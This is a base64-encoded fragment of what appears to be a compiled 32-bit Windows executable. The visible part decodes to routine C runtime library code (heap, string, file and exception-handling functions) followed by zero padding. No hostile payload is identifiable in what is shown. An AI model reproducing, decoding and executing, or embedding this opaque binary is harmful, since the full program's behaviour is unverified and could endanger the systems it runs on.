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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 